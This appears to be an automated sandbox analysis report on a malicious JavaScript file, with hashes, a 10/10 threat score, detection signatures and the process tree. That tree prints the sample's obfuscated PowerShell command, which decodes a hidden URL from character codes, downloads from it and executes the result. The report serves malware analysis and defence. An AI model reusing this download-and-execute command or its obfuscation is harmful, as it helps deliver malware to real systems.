Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21/12/2024, 14:40
General
-
Target
551618458ef8ffd1cf47b03230a8d9acb1df1e1894a10bc60c409e91a2d1a1ea.js
-
Size
174KB
-
MD5
3c071371480142e3f05df92e69c5174b
-
SHA1
a4932a18e3d353c76fd88b422eabeda60baa3fc4
-
SHA256
551618458ef8ffd1cf47b03230a8d9acb1df1e1894a10bc60c409e91a2d1a1ea
-
SHA512
2244b89674b795b76ddf0ce7d1d43aaa715167731ce6aa446d8300b074a488b4875b68359156597ce556937cdd7eac647acfd1cd9968125508e320f8cf43ea5f
-
SSDEEP
1536:nwVreHc0n2iNVEzUdF0YOGJzhBWOjoHc0n2iNVEzUdFvOGJzhBWOjDOGJzhBWOji:n60ft8GX0ftbD8bl0ftu00ft/
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\551618458ef8ffd1cf47b03230a8d9acb1df1e1894a10bc60c409e91a2d1a1ea.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $fusgqjp='ur' ;new-alias printout c$($fusgqjp)l;$muqdgniwpbvxof=(8672,8683,8691,8675,8677,8672,8692,8691,8696,8629,8691,8625,8672,8620,8690,8685,8686,8621,8623,8620,8686,8678,8686,8637,8689,8635,8683,8679,8684,8690,8689,8624,8623);$srcgyhkv=('bronx','get-cmdlet');$thicwbgs=$muqdgniwpbvxof;foreach($jkxhpieba in $thicwbgs){$gjishanlmkvf=$jkxhpieba;$axjnusgcvqkpid=$axjnusgcvqkpid+[char]($gjishanlmkvf-8574);$mwgitaxblyndzp=$axjnusgcvqkpid; $afrqngtpuey=$mwgitaxblyndzp};$uanvgzptlijhs[2]=$afrqngtpuey;$itowcyxnujdr='rl';$bwqmsjue=1;.$([char](9992-9887)+'e'+'x')(printout -useb $afrqngtpuey)1⤵
- Process spawned unexpected child process